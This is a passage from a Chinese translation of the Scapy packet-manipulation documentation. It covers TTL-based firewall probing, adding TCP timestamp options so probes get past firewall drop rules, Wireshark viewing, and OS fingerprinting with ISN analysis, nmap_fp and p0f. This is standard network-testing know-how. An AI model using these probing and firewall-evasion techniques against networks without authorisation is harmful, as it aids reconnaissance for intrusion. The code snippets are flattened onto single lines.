>>> ans, unans = sr(IP(dst="172.16.4.27", ttl=16)/TCP(dport=(1,1024))) >>> for s,r in ans:if r.haslayer(ICMP) and r.payload.type == 11:print s.dport

在對多網(wǎng)卡的防火墻查找子網(wǎng)時(shí),只有它自己的網(wǎng)卡IP可以達(dá)到這個(gè)TTL:

>>> ans, unans = sr(IP(dst="172.16.5/24", ttl=15)/TCP()) >>> for i in unans: print i.dst

TCP Timestamp Filtering

Problem

在比較流行的端口掃描器中,一種常見的情況就是沒有設(shè)置TCP時(shí)間戳選項(xiàng),而許多防火墻都包含一條規(guī)則來丟棄這樣的TCP數(shù)據(jù)包。

Solution

為了讓Scapy能夠到達(dá)其他位置,就必須使用其他選項(xiàng):

>>> sr1(IP(dst="72.14.207.99")/TCP(dport=80,flags="S",options=[('Timestamp',(0,0))]))

Viewing packets with Wireshark

Problem

你已經(jīng)使用Scapy收集或者嗅探了一些數(shù)據(jù)包,因?yàn)閃ireshark高級的數(shù)據(jù)包展示功能,你想使用Wireshark查看這些數(shù)據(jù)包。

Solution

正好可以使用wireshark()函數(shù):

>>> packets = Ether()/IP(dst=Net("google.com/30"))/ICMP() # first generate some packets >>> wireshark(packets) # show them with Wireshark

Discussion

wireshark()函數(shù)可以生成一個(gè)臨時(shí)pcap文件,來包含你的數(shù)據(jù)包,然后會(huì)在后臺(tái)啟動(dòng)Wireshark,使其在啟動(dòng)時(shí)讀取該文件。

請記住Wireshark是處理第二層的數(shù)據(jù)包(通常被稱為“幀”)。所以我們必須為ICMP數(shù)據(jù)包添加一個(gè)Ether()頭。如果你直接將IP數(shù)據(jù)包(第三層)傳遞給Wireshark,你將會(huì)得到一個(gè)奇怪的結(jié)果。

你可以通過改變conf.prog.wireshark的配置設(shè)置,來告訴Scapy去哪尋找Wireshark可執(zhí)行文件。

OS Fingerprinting

ISN

Scapy的可用于分析ISN(初始序列號)遞增來發(fā)現(xiàn)可能有漏洞的系統(tǒng)。首先我們將在一個(gè)循環(huán)中發(fā)送SYN探頭,來收集目標(biāo)響應(yīng):

>>> ans,unans=srloop(IP(dst="192.168.1.1")/TCP(dport=80,flags="S"))

一旦我們得到響應(yīng)之后,我們可以像這樣開始分析收集到的數(shù)據(jù):

>>> temp = 0 >>> for s,r in ans: ... temp = r[TCP].seq - temp ... print str(r[TCP].seq) + "\t+" + str(temp) ... 4278709328 +4275758673 4279655607 +3896934 4280642461 +4276745527 4281648240 +4902713 4282645099 +4277742386 4283643696 +5901310

nmap_fp

在Scapy中支持Nmap指紋識(shí)別(是到Nmap v4.20的“第一代”功能)。在Scapy v2中,你首先得加載擴(kuò)展模塊:

>>> load_module("nmap")

如果你已經(jīng)安裝了Nmap,你可以讓Scapy使用它的主動(dòng)操作系統(tǒng)指紋數(shù)據(jù)庫。清確保version 1簽名數(shù)據(jù)庫位于指定的路徑:

>>> conf.nmap_base

然后你可以使用namp_fp()函數(shù),該函數(shù)和Nmap操作系統(tǒng)檢測引擎使用同樣的探針:

>>> nmap_fp("192.168.1.1",oport=443,cport=1) Begin emission: .****..**Finished to send 8 packets. *................................................ Received 58 packets, got 7 answers, remaining 1 packets (1.0, ['Linux 2.4.0 - 2.5.20', 'Linux 2.4.19 w/grsecurity patch', 'Linux 2.4.20 - 2.4.22 w/grsecurity.org patch', 'Linux 2.4.22-ck2 (x86) w/grsecurity.org and HZ=1000 patches', 'Linux 2.4.7 - 2.6.11'])

p0f

如果你已在操作系統(tǒng)中安裝了p0f,你可以直接從Scapy中使用它來猜測操作系統(tǒng)名稱和版本。(僅在SYN數(shù)據(jù)庫被使用時(shí))。首先要確保p0f數(shù)據(jù)庫存在于指定的路徑:

>>> conf.p0f_base

例如,根據(jù)一個(gè)捕獲的數(shù)據(jù)包猜測操作系統(tǒng):

>>> sniff(prn=prnp0f) 192.168.1.100:54716 - Linux 2.6 (newer, 1) (up: 24 hrs)-> 74.125.19.104:www (distance 0) <Sniffed: TCP:339 UDP:2 ICMP:0 Other:156>

總結(jié)

以上是生活随笔為你收集整理的Scapy 中文文档:三、使用方法的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。